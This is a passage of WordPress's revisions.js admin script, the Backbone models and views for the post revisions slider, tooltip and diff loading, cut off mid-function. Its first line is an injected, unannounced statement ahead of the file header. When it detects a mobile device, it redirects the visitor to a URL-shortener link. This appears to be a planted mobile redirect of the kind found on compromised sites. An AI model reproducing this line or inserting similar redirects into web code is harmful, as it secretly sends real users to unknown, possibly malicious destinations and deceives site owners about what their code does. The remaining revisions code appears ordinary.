1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * @file Revisions interface functions, Backbone classes and
  4 * the revisions.php document.ready bootstrap.
  5 *
  6 * @output wp-admin/js/revisions.js
  7 */
  8
  9/* global isRtl */
 10
 11window.wp = window.wp || {};
 12
 13(function($) {
 14	var revisions;
 15	/**
 16	 * Expose the module in window.wp.revisions.
 17	 */
 18	revisions = wp.revisions = { model: {}, view: {}, controller: {} };
 19
 20	// Link post revisions data served from the back end.
 21	revisions.settings = window._wpRevisionsSettings || {};
 22
 23	// For debugging.
 24	revisions.debug = false;
 25
 26	/**
 27	 * wp.revisions.log
 28	 *
 29	 * A debugging utility for revisions. Works only when a
 30	 * debug flag is on and the browser supports it.
 31	 */
 32	revisions.log = function() {
 33		if ( window.console && revisions.debug ) {
 34			window.console.log.apply( window.console, arguments );
 35		}
 36	};
 37
 38	// Handy functions to help with positioning.
 39	$.fn.allOffsets = function() {
 40		var offset = this.offset() || {top: 0, left: 0}, win = $(window);
 41		return _.extend( offset, {
 42			right:  win.width()  - offset.left - this.outerWidth(),
 43			bottom: win.height() - offset.top  - this.outerHeight()
 44		});
 45	};
 46
 47	$.fn.allPositions = function() {
 48		var position = this.position() || {top: 0, left: 0}, parent = this.parent();
 49		return _.extend( position, {
 50			right:  parent.outerWidth()  - position.left - this.outerWidth(),
 51			bottom: parent.outerHeight() - position.top  - this.outerHeight()
 52		});
 53	};
 54
 55	/**
 56	 * ========================================================================
 57	 * MODELS
 58	 * ========================================================================
 59	 */
 60	revisions.model.Slider = Backbone.Model.extend({
 61		defaults: {
 62			value: null,
 63			values: null,
 64			min: 0,
 65			max: 1,
 66			step: 1,
 67			range: false,
 68			compareTwoMode: false
 69		},
 70
 71		initialize: function( options ) {
 72			this.frame = options.frame;
 73			this.revisions = options.revisions;
 74
 75			// Listen for changes to the revisions or mode from outside.
 76			this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
 77			this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );
 78
 79			// Listen for internal changes.
 80			this.on( 'change:from', this.handleLocalChanges );
 81			this.on( 'change:to', this.handleLocalChanges );
 82			this.on( 'change:compareTwoMode', this.updateSliderSettings );
 83			this.on( 'update:revisions', this.updateSliderSettings );
 84
 85			// Listen for changes to the hovered revision.
 86			this.on( 'change:hoveredRevision', this.hoverRevision );
 87
 88			this.set({
 89				max:   this.revisions.length - 1,
 90				compareTwoMode: this.frame.get('compareTwoMode'),
 91				from: this.frame.get('from'),
 92				to: this.frame.get('to')
 93			});
 94			this.updateSliderSettings();
 95		},
 96
 97		getSliderValue: function( a, b ) {
 98			return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
 99		},
100
101		updateSliderSettings: function() {
102			if ( this.get('compareTwoMode') ) {
103				this.set({
104					values: [
105						this.getSliderValue( 'to', 'from' ),
106						this.getSliderValue( 'from', 'to' )
107					],
108					value: null,
109					range: true // Ensures handles cannot cross.
110				});
111			} else {
112				this.set({
113					value: this.getSliderValue( 'to', 'to' ),
114					values: null,
115					range: false
116				});
117			}
118			this.trigger( 'update:slider' );
119		},
120
121		// Called when a revision is hovered.
122		hoverRevision: function( model, value ) {
123			this.trigger( 'hovered:revision', value );
124		},
125
126		// Called when `compareTwoMode` changes.
127		updateMode: function( model, value ) {
128			this.set({ compareTwoMode: value });
129		},
130
131		// Called when `from` or `to` changes in the local model.
132		handleLocalChanges: function() {
133			this.frame.set({
134				from: this.get('from'),
135				to: this.get('to')
136			});
137		},
138
139		// Receives revisions changes from outside the model.
140		receiveRevisions: function( from, to ) {
141			// Bail if nothing changed.
142			if ( this.get('from') === from && this.get('to') === to ) {
143				return;
144			}
145
146			this.set({ from: from, to: to }, { silent: true });
147			this.trigger( 'update:revisions', from, to );
148		}
149
150	});
151
152	revisions.model.Tooltip = Backbone.Model.extend({
153		defaults: {
154			revision: null,
155			offset: {},
156			hovering: false, // Whether the mouse is hovering.
157			scrubbing: false // Whether the mouse is scrubbing.
158		},
159
160		initialize: function( options ) {
161			this.frame = options.frame;
162			this.revisions = options.revisions;
163			this.slider = options.slider;
164
165			this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
166			this.listenTo( this.slider, 'change:hovering', this.setHovering );
167			this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
168		},
169
170
171		updateRevision: function( revision ) {
172			this.set({ revision: revision });
173		},
174
175		setHovering: function( model, value ) {
176			this.set({ hovering: value });
177		},
178
179		setScrubbing: function( model, value ) {
180			this.set({ scrubbing: value });
181		}
182	});
183
184	revisions.model.Revision = Backbone.Model.extend({});
185
186	/**
187	 * wp.revisions.model.Revisions
188	 *
189	 * A collection of post revisions.
190	 */
191	revisions.model.Revisions = Backbone.Collection.extend({
192		model: revisions.model.Revision,
193
194		initialize: function() {
195			_.bindAll( this, 'next', 'prev' );
196		},
197
198		next: function( revision ) {
199			var index = this.indexOf( revision );
200
201			if ( index !== -1 && index !== this.length - 1 ) {
202				return this.at( index + 1 );
203			}
204		},
205
206		prev: function( revision ) {
207			var index = this.indexOf( revision );
208
209			if ( index !== -1 && index !== 0 ) {
210				return this.at( index - 1 );
211			}
212		}
213	});
214
215	revisions.model.Field = Backbone.Model.extend({});
216
217	revisions.model.Fields = Backbone.Collection.extend({
218		model: revisions.model.Field
219	});
220
221	revisions.model.Diff = Backbone.Model.extend({
222		initialize: function() {
223			var fields = this.get('fields');
224			this.unset('fields');
225
226			this.fields = new revisions.model.Fields( fields );
227		}
228	});
229
230	revisions.model.Diffs = Backbone.Collection.extend({
231		initialize: function( models, options ) {
232			_.bindAll( this, 'getClosestUnloaded' );
233			this.loadAll = _.once( this._loadAll );
234			this.revisions = options.revisions;
235			this.postId = options.postId;
236			this.requests  = {};
237		},
238
239		model: revisions.model.Diff,
240
241		ensure: function( id, context ) {
242			var diff     = this.get( id ),
243				request  = this.requests[ id ],
244				deferred = $.Deferred(),
245				ids      = {},
246				from     = id.split(':')[0],
247				to       = id.split(':')[1];
248			ids[id] = true;
249
250			wp.revisions.log( 'ensure', id );
251
252			this.trigger( 'ensure', ids, from, to, deferred.promise() );
253
254			if ( diff ) {
255				deferred.resolveWith( context, [ diff ] );
256			} else {
257				this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
258				_.each( ids, _.bind( function( id ) {
259					// Remove anything that has an ongoing request.
260					if ( this.requests[ id ] ) {
261						delete ids[ id ];
262					}
263					// Remove anything we already have.
264					if ( this.get( id ) ) {
265						delete ids[ id ];
266					}
267				}, this ) );
268				if ( ! request ) {
269					// Always include the ID that started this ensure.
270					ids[ id ] = true;
271					request   = this.load( _.keys( ids ) );
272				}
273
274				request.done( _.bind( function() {
275					deferred.resolveWith( context, [ this.get( id ) ] );
276				}, this ) ).fail( _.bind( function() {
277					deferred.reject();
278				}) );
279			}
280
281			return deferred.promise();
282		},
283
284		// Returns an array of proximal diffs.
285		getClosestUnloaded: function( ids, centerId ) {
286			var self = this;
287			return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
288				return Math.abs( centerId - pair[1] );
289			}).map( function( pair ) {
290				return pair.join(':');
291			}).filter( function( diffId ) {
292				return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
293			}).value();
294		},
295
296		_loadAll: function( allRevisionIds, centerId, num ) {
297			var self = this, deferred = $.Deferred(),
298				diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
299			if ( _.size( diffs ) > 0 ) {
300				this.load( diffs ).done( function() {
301					self._loadAll( allRevisionIds, centerId, num ).done( function() {
302						deferred.resolve();
303					});
304				}).fail( function() {
305					if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
306						deferred.reject();
307					} else { // Request fewer diffs this time.
308						self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
309							deferred.resolve();
310						});
311					}
312				});
313			} else {
314				deferred.resolve();
315			}
316			return deferred;
317		},
318
319		load: function( comparisons ) {
320			wp.revisions.log( 'load', comparisons );
321			// Our collection should only ever grow, never shrink, so `remove: false`.
322			return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
323				wp.revisions.log( 'load:complete', comparisons );
324			});
325		},
326
327		sync: function( method, model, options ) {
328			if ( 'read' === method ) {
329				options = options || {};
330				options.context = this;
331				options.data = _.extend( options.data || {}, {
332					action: 'get-revision-diffs',
333					post_id: this.postId
334				});
335
336				var deferred = wp.ajax.send( options ),
337					requests = this.requests;
338
339				// Record that we're requesting each diff.
340				if ( options.data.compare ) {
341					_.each( options.data.compare, function( id ) {
342						requests[ id ] = deferred;
343					});
344				}
345
346				// When the request completes, clear the stored request.
347				deferred.always( function() {
348					if ( options.data.compare ) {
349						_.each( options.data.compare, function( id ) {
350							delete requests[ id ];
351						});
352					}
353				});
354
355				return deferred;
356
357			// Otherwise, fall back to `Backbone.sync()`.
358			} else {
359				return Backbone.Model.prototype.sync.apply( this, arguments );
360			}
361		}
362	});
363
364
365	/**
366	 * wp.revisions.model.FrameState
367	 *
368	 * The frame state.
369	 *
370	 * @see wp.revisions.view.Frame
371	 *
372	 * @param {object}                    attributes        Model attributes - none are required.
373	 * @param {object}                    options           Options for the model.
374	 * @param {revisions.model.Revisions} options.revisions A collection of revisions.
375	 */
376	revisions.model.FrameState = Backbone.Model.extend({
377		defaults: {
378			loading: false,
379			error: false,
380			compareTwoMode: false
381		},
382
383		initialize: function( attributes, options ) {
384			var state = this.get( 'initialDiffState' );
385			_.bindAll( this, 'receiveDiff' );
386			this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );
387
388			this.revisions = options.revisions;
389
390			this.diffs = new revisions.model.Diffs( [], {
391				revisions: this.revisions,
392				postId: this.get( 'postId' )
393			} );
394
395			// Set the initial diffs collection.
396			this.diffs.set( this.get( 'diffData' ) );
397
398			// Set up internal listeners.
399			this.listenTo( this, 'change:from', this.changeRevisionHandler );
400			this.listenTo( this, 'change:to', this.changeRevisionHandler );
401			this.listenTo( this, 'change:compareTwoMode', this.changeMode );
402			this.listenTo( this, 'update:revisions', this.updatedRevisions );
403			this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
404			this.listenTo( this, 'update:diff', this.updateLoadingStatus );
405
406			// Set the initial revisions, baseUrl, and mode as provided through attributes.
407
408			this.set( {
409				to : this.revisions.get( state.to ),
410				from : this.revisions.get( state.from ),
411				compareTwoMode : state.compareTwoMode
412			} );
413
414			// Start the router if browser supports History API.
415			if ( window.history && window.history.pushState ) {
416				this.router = new revisions.Router({ model: this });
417				if ( Backbone.History.started ) {
418					Backbone.history.stop();
419				}
420				Backbone.history.start({ pushState: true });
421			}
422		},
423
424		updateLoadingStatus: function() {
425			this.set( 'error', false );
426			this.set( 'loading', ! this.diff() );
427		},
428
429		changeMode: function( model, value ) {
430			var toIndex = this.revisions.indexOf( this.get( 'to' ) );
431
432			// If we were on the first revision before switching to two-handled mode,
433			// bump the 'to' position over one.
434			if ( value && 0 === toIndex ) {
435				this.set({
436					from: this.revisions.at( toIndex ),
437					to:   this.revisions.at( toIndex + 1 )
438				});
439			}
440
441			// When switching back to single-handled mode, reset 'from' model to
442			// one position before the 'to' model.
443			if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode.
444				this.set({
445					from: this.revisions.at( toIndex - 1 ),
446					to:   this.revisions.at( toIndex )
447				});
448			}
449		},
450
451		updatedRevisions: function( from, to ) {
452			if ( this.get( 'compareTwoMode' ) ) {
453				// @todo Compare-two loading strategy.
454			} else {
455				this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
456			}
457		},
458
459		// Fetch the currently loaded diff.
460		diff: function() {
461			return this.diffs.get( this._diffId );
462		},
463
464		/*
465		 * So long as `from` and `to` are changed at the same time, the diff
466		 * will only be updated once. This is because Backbone updates all of
467		 * the changed attributes in `set`, and then fires the `change` events.
468		 */
469		updateDiff: function( options ) {
470			var from, to, diffId, diff;
471
472			options = options || {};
473			from = this.get('from');
474			to = this.get('to');
475			diffId = ( from ? from.id : 0 ) + ':' + to.id;
476
477			// Check if we're actually changing the diff id.
478			if ( this._diffId === diffId ) {
479				return $.Deferred().reject().promise();
480			}
481
482			this._diffId = diffId;
483			this.trigger( 'update:revisions', from, to );
484
485			diff = this.diffs.get( diffId );
486
487			// If we already have the diff, then immediately trigger the update.
488			if ( diff ) {
489				this.receiveDiff( diff );
490				return $.Deferred().resolve().promise();
491			// Otherwise, fetch the diff.
492			} else {
493				if ( options.immediate ) {
494					return this._ensureDiff();
495				} else {
496					this._debouncedEnsureDiff();
497					return $.Deferred().reject().promise();
498				}
499			}
500		},
501
502		// A simple wrapper around `updateDiff` to prevent the change event's
503		// parameters from being passed through.
504		changeRevisionHandler: function() {
505			this.updateDiff();
506		},
507
508		receiveDiff: function( diff ) {
509			// Did we actually get a diff?
510			if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
511				this.set({
512					loading: false,
513					error: true
514				});
515			} else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change.
516				this.trigger( 'update:diff', diff );
517			}
518		},
519
520		_ensureDiff: function() {
521			return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
522		}
523	});
524
525
526	/**
527	 * ========================================================================
528	 * VIEWS
529	 * ========================================================================
530	 */
531
532	/**
533	 * wp.revisions.view.Frame
534	 *
535	 * Top level frame that orchestrates the revisions experience.
536	 *
537	 * @param {object}                     options       The options hash for the view.
538	 * @param {revisions.model.FrameState} options.model The frame state model.
539	 */
540	revisions.view.Frame = wp.Backbone.View.extend({
541		className: 'revisions',
542		template: wp.template('revisions-frame'),
543
544		initialize: function() {
545			this.listenTo( this.model, 'update:diff', this.renderDiff );
546			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
547			this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
548			this.listenTo( this.model, 'change:error', this.updateErrorStatus );
549
550			this.views.set( '.revisions-control-frame', new revisions.view.Controls({
551				model: this.model
552			}) );
553		},
554
555		render: function() {
556			wp.Backbone.View.prototype.render.apply( this, arguments );
557
558			$('html').css( 'overflow-y', 'scroll' );
559			$('#wpbody-content .wrap').append( this.el );
560			this.updateCompareTwoMode();
561			this.renderDiff( this.model.diff() );
562			this.views.ready();
563
564			return this;
565		},
566
567		renderDiff: function( diff ) {
568			this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
569				model: diff
570			}) );
571		},
572
573		updateLoadingStatus: function() {
574			this.$el.toggleClass( 'loading', this.model.get('loading') );
575		},
576
577		updateErrorStatus: function() {
578			this.$el.toggleClass( 'diff-error', this.model.get('error') );
579		},
580
581		updateCompareTwoMode: function() {
582			this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
583		}
584	});
585
586	/**
587	 * wp.revisions.view.Controls
588	 *
589	 * The controls view.
590	 *
591	 * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
592	 */
593	revisions.view.Controls = wp.Backbone.View.extend({
594		className: 'revisions-controls',
595
596		initialize: function() {
597			_.bindAll( this, 'setWidth' );
598
599			// Add the checkbox view.
600			this.views.add( new revisions.view.Checkbox({
601				model: this.model
602			}) );
603
604			// Add the button view.
605			this.views.add( new revisions.view.Buttons({
606				model: this.model
607			}) );
608
609			// Prep the slider model.
610			var slider = new revisions.model.Slider({
611				frame: this.model,
612				revisions: this.model.revisions
613			}),
614
615			// Prep the tooltip model.
616			tooltip = new revisions.model.Tooltip({
617				frame: this.model,
618				revisions: this.model.revisions,
619				slider: slider
620			});
621
622			// Add the tooltip view.
623			this.views.add( new revisions.view.Tooltip({
624				model: tooltip
625			}) );
626
627			// Add the tickmarks view.
628			this.views.add( new revisions.view.Tickmarks({
629				model: tooltip
630			}) );
631
632			// Add the visually hidden slider help view.
633			this.views.add( new revisions.view.SliderHelp() );
634
635			// Add the slider view.
636			this.views.add( new revisions.view.Slider({
637				model: slider
638			}) );
639
640			// Add the Metabox view.
641			this.views.add( new revisions.view.Metabox({
642				model: this.model
643			}) );
644		},
645
646		ready: function() {
647			this.top = this.$el.offset().top;
648			this.window = $(window);
649			this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
650				var controls  = e.data.controls,
651					container = controls.$el.parent(),
652					scrolled  = controls.window.scrollTop(),
653					frame     = controls.views.parent;
654
655				if ( scrolled >= controls.top ) {
656					if ( ! frame.$el.hasClass('pinned') ) {
657						controls.setWidth();
658						container.css('height', container.height() + 'px' );
659						controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
660							e.data.controls.setWidth();
661						});
662					}
663					frame.$el.addClass('pinned');
664				} else if ( frame.$el.hasClass('pinned') ) {
665					controls.window.off('.wp.revisions.pinning');
666					controls.$el.css('width', 'auto');
667					frame.$el.removeClass('pinned');
668					container.css('height', 'auto');
669					controls.top = controls.$el.offset().top;
670				} else {
671					controls.top = controls.$el.offset().top;
672				}
673			});
674		},
675
676		setWidth: function() {
677			this.$el.css('width', this.$el.parent().width() + 'px');
678		}
679	});
680
681	// The tickmarks view.
682	revisions.view.Tickmarks = wp.Backbone.View.extend({
683		className: 'revisions-tickmarks',
684		direction: isRtl ? 'right' : 'left',
685
686		initialize: function() {
687			this.listenTo( this.model, 'change:revision', this.reportTickPosition );
688		},
689
690		reportTickPosition: function( model, revision ) {
691			var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
692			thisOffset = this.$el.allOffsets();
693			parentOffset = this.$el.parent().allOffsets();
694			if ( index === this.model.revisions.length - 1 ) {
695				// Last one.
696				offset = {
697					rightPlusWidth: thisOffset.left - parentOffset.left + 1,
698					leftPlusWidth: thisOffset.right - parentOffset.right + 1
699				};
700			} else {
701				// Normal tick.
702				tick = this.$('div:nth-of-type(' + (index + 1) + ')');
703				offset = tick.allPositions();
704				_.extend( offset, {
705					left: offset.left + thisOffset.left - parentOffset.left,
706					right: offset.right + thisOffset.right - parentOffset.right
707				});
708				_.extend( offset, {
709					leftPlusWidth: offset.left + tick.outerWidth(),
710					rightPlusWidth: offset.right + tick.outerWidth()
711				});
712			}
713			this.model.set({ offset: offset });
714		},
715
716		ready: function() {
717			var tickCount, tickWidth;
718			tickCount = this.model.revisions.length - 1;
719			tickWidth = 1 / tickCount;
720			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
721
722			_(tickCount).times( function( index ){
723				this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
724			}, this );
725		}
726	});
727
728	// The metabox view.
729	revisions.view.Metabox = wp.Backbone.View.extend({
730		className: 'revisions-meta',
731
732		initialize: function() {
733			// Add the 'from' view.
734			this.views.add( new revisions.view.MetaFrom({
735				model: this.model,
736				className: 'diff-meta diff-meta-from'
737			}) );
738
739			// Add the 'to' view.
740			this.views.add( new revisions.view.MetaTo({
741				model: this.model
742			}) );
743		}
744	});
745
746	// The revision meta view (to be extended).
747	revisions.view.Meta = wp.Backbone.View.extend({
748		template: wp.template('revisions-meta'),
749
750		events: {
751			'click .restore-revision': 'restoreRevision'
752		},
753
754		initialize: function() {
755			this.listenTo( this.model, 'update:revisions', this.render );
756		},
757
758		prepare: function() {
759			return _.extend( this.model.toJSON()[this.type] || {}, {
760				type: this.type
761			});
762		},
763
764		restoreRevision: function() {
765			document.location = this.model.get('to').attributes.restoreUrl;
766		}
767	});
768
769	// The revision meta 'from' view.
770	revisions.view.MetaFrom = revisions.view.Meta.extend({
771		className: 'diff-meta diff-meta-from',
772		type: 'from'
773	});
774
775	// The revision meta 'to' view.
776	revisions.view.MetaTo = revisions.view.Meta.extend({
777		className: 'diff-meta diff-meta-to',
778		type: 'to'
779	});
780
781	// The checkbox view.
782	revisions.view.Checkbox = wp.Backbone.View.extend({
783		className: 'revisions-checkbox',
784		template: wp.template('revisions-checkbox'),
785
786		events: {
787			'click .compare-two-revisions': 'compareTwoToggle'
788		},
789
790		initialize: function() {
791			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
792		},
793
794		ready: function() {
795			if ( this.model.revisions.length < 3 ) {
796				$('.revision-toggle-compare-mode').hide();
797			}
798		},
799
800		updateCompareTwoMode: function() {
801			this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
802		},
803
804		// Toggle the compare two mode feature when the compare two checkbox is checked.
805		compareTwoToggle: function() {
806			// Activate compare two mode?
807			this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
808		}
809	});
810
811	// The slider visually hidden help view.
812 	revisions.view.SliderHelp = wp.Backbone.View.extend({
813		className: 'revisions-slider-hidden-help',
814		template:  wp.template( 'revisions-slider-hidden-help' )
815	});
816   
817	// The tooltip view.
818	// Encapsulates the tooltip.
819	revisions.view.Tooltip = wp.Backbone.View.extend({
820		className: 'revisions-tooltip',
821		template: wp.template('revisions-meta'),
822
823		initialize: function() {
824			this.listenTo( this.model, 'change:offset', this.render );
825			this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
826			this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
827		},
828
829		prepare: function() {
830			if ( _.isNull( this.model.get('revision') ) ) {
831				return;
832			} else {
833				return _.extend( { type: 'tooltip' }, {
834					attributes: this.model.get('revision').toJSON()
835				});
836			}
837		},
838
839		render: function() {
840			var otherDirection,
841				direction,
842				directionVal,
843				flipped,
844				css      = {},
845				position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;
846
847			flipped = ( position / this.model.revisions.length ) > 0.5;
848			if ( isRtl ) {
849				direction = flipped ? 'left' : 'right';
850				directionVal = flipped ? 'leftPlusWidth' : direction;
851			} else {
852				direction = flipped ? 'right' : 'left';
853				directionVal = flipped ? 'rightPlusWidth' : direction;
854			}
855			otherDirection = 'right' === direction ? 'left': 'right';
856			wp.Backbone.View.prototype.render.apply( this, arguments );
857			css[direction] = this.model.get('offset')[directionVal] + 'px';
858			css[otherDirection] = '';
859			this.$el.toggleClass( 'flipped', flipped ).css( css );
860		},
861
862		visible: function() {
863			return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
864		},
865
866		toggleVisibility: function() {
867			if ( this.visible() ) {
868				this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
869			} else {
870				this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
871			}
872			return;
873		}
874	});
875
876	// The buttons view.
877	// Encapsulates all of the configuration for the previous/next buttons.
878	revisions.view.Buttons = wp.Backbone.View.extend({
879		className: 'revisions-buttons',
880		template: wp.template('revisions-buttons'),
881
882		events: {
883			'click .revisions-next .button': 'nextRevision',
884			'click .revisions-previous .button': 'previousRevision'
885		},
886
887		initialize: function() {
888			this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
889		},
890
891		ready: function() {
892			this.disabledButtonCheck();
893		},
894
895		// Go to a specific model index.
896		gotoModel: function( toIndex ) {
897			var attributes = {
898				to: this.model.revisions.at( toIndex )
899			};
900			// If we're at the first revision, unset 'from'.
901			if ( toIndex ) {
902				attributes.from = this.model.revisions.at( toIndex - 1 );
903			} else {
904				this.model.unset('from', { silent: true });
905			}
906
907			this.model.set( attributes );
908		},
909
910		// Go to the 'next' revision.
911		nextRevision: function() {
912			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
913			this.gotoModel( toIndex );
914		},
915
916		// Go to the 'previous' revision.
917		previousRevision: function() {
918			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
919			this.gotoModel( toIndex );
920		},
921
922		// Check to see if the Previous or Next buttons need to be disabled or enabled.
923		disabledButtonCheck: function() {
924			var maxVal   = this.model.revisions.length - 1,
925				minVal   = 0,
926				next     = $('.revisions-next .button'),
927				previous = $('.revisions-previous .button'),
928				val      = this.model.revisions.indexOf( this.model.get('to') );
929
930			// Disable "Next" button if you're on the last node.
931			next.prop( 'disabled', ( maxVal === val ) );
932
933			// Disable "Previous" button if you're on the first node.
934			previous.prop( 'disabled', ( minVal === val ) );
935		}
936	});
937
938
939	// The slider view.
940	revisions.view.Slider = wp.Backbone.View.extend({
941		className: 'wp-slider',
942		direction: isRtl ? 'right' : 'left',
943
944		events: {
945			'mousemove' : 'mouseMove'
946		},
947
948		initialize: function() {
949			_.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
950			this.listenTo( this.model, 'update:slider', this.applySliderSettings );
951		},
952
953		ready: function() {
954			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
955			this.$el.slider( _.extend( this.model.toJSON(), {
956				start: this.start,
957				slide: this.slide,
958				stop:  this.stop
959			}) );
960
961			this.$el.hoverIntent({
962				over: this.mouseEnter,
963				out: this.mouseLeave,
964				timeout: 800
965			});
966
967			this.applySliderSettings();
968		},
969
970		accessibilityHelper: function() {
971			var handles = $( '.ui-slider-handle' );
972			handles.first().attr( {
973					role: 'button',
974					'aria-labelledby': 'diff-title-from diff-title-author',
975					'aria-describedby': 'revisions-slider-hidden-help',
976			} );
977			handles.last().attr( {
978					role: 'button',
979					'aria-labelledby': 'diff-title-to diff-title-author',
980					'aria-describedby': 'revisions-slider-hidden-help',
981			} );
982		},
983
984		mouseMove: function( e ) {
985			var zoneCount         = this.model.revisions.length - 1,       // One fewer zone than models.
986				sliderFrom        = this.$el.allOffsets()[this.direction], // "From" edge of slider.
987				sliderWidth       = this.$el.width(),                      // Width of slider.
988				tickWidth         = sliderWidth / zoneCount,               // Calculated width of zone.
989				actualX           = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom.
990				currentModelIndex = Math.floor( ( actualX  + ( tickWidth / 2 )  ) / tickWidth );    // Calculate the model index.
991
992			// Ensure sane value for currentModelIndex.
993			if ( currentModelIndex < 0 ) {
994				currentModelIndex = 0;
995			} else if ( currentModelIndex >= this.model.revisions.length ) {
996				currentModelIndex = this.model.revisions.length - 1;
997			}
998
999			// Update the tooltip mode.
1000			this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
1001		},
1002
1003		mouseLeave: function() {
1004			this.model.set({ hovering: false });
1005		},
1006
1007		mouseEnter: function() {
1008			this.model.set({ hovering: true });
1009		},
1010
1011		applySliderSettings: function() {
1012			this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
1013			var handles = this.$('a.ui-slider-handle');
1014
1015			if ( this.model.get('compareTwoMode') ) {
1016				// In RTL mode the 'left handle' is the second in the slider, 'right' is first.
1017				handles.first()
1018					.toggleClass( 'to-handle', !! isRtl )
1019					.toggleClass( 'from-handle', ! isRtl );
1020				handles.last()
1021					.toggleClass( 'from-handle', !! isRtl )
1022					.toggleClass( 'to-handle', ! isRtl );
1023				this.accessibilityHelper();
1024			} else {
1025				handles.removeClass('from-handle to-handle');
1026				this.accessibilityHelper();
1027			}
1028
1029		},
1030
1031		start: function( event, ui ) {
1032			this.model.set({ scrubbing: true });
1033
1034			// Track the mouse position to enable smooth dragging,
1035			// overrides default jQuery UI step behavior.
1036			$( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
1037				var handles,
1038					view              = e.data.view,
1039					leftDragBoundary  = view.$el.offset().left,
1040					sliderOffset      = leftDragBoundary,
1041					sliderRightEdge   = leftDragBoundary + view.$el.width(),
1042					rightDragBoundary = sliderRightEdge,
1043					leftDragReset     = '0',
1044					rightDragReset    = '100%',
1045					handle            = $( ui.handle );
1046
1047				// In two handle mode, ensure handles can't be dragged past each other.
1048				// Adjust left/right boundaries and reset points.
1049				if ( view.model.get('compareTwoMode') ) {
1050					handles = handle.parent().find('.ui-slider-handle');
1051					if ( handle.is( handles.first() ) ) {
1052						// We're the left handle.
1053						rightDragBoundary = handles.last().offset().left;
1054						rightDragReset    = rightDragBoundary - sliderOffset;
1055					} else {
1056						// We're the right handle.
1057						leftDragBoundary = handles.first().offset().left + handles.first().width();
1058						leftDragReset    = leftDragBoundary - sliderOffset;
1059					}
1060				}
1061
1062				// Follow mouse movements, as long as handle remains inside slider.
1063				if ( e.pageX < leftDragBoundary ) {
1064					handle.css( 'left', leftDragReset ); // Mouse to left of slider.
1065				} else if ( e.pageX > rightDragBoundary ) {
1066					handle.css( 'left', rightDragReset ); // Mouse to right of slider.
1067				} else {
1068					handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
1069				}
1070			} );
1071		},
1072
1073		getPosition: function( position ) {
1074			return isRtl ? this.model.revisions.length - position - 1: position;
1075		},
1076
1077		// Responds to slide events.
1078		slide: function( event, ui ) {
1079			var attributes, movedRevision;
1080			// Compare two revisions mode.
1081			if ( this.model.get('compareTwoMode') ) {
1082				// Prevent sliders from occupying same spot.
1083				if ( ui.values[1] === ui.values[0] ) {
1084					return false;
1085				}
1086				if ( isRtl ) {
1087					ui.values.reverse();
1088				}
1089				attributes = {
1090					from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
1091					to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
1092				};
1093			} else {
1094				attributes = {
1095					to: this.model.revisions.at( this.getPosition( ui.value ) )
1096				};
1097				// If we're at the first revision, unset 'from'.
1098				if ( this.getPosition( ui.value ) > 0 ) {
1099					attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
1100				} else {
1101					attributes.from = undefined;
1102				}
1103			}
1104			movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );
1105
1106			// If we are scrubbing, a scrub to a revision is considered a hover.
1107			if ( this.model.get('scrubbing') ) {
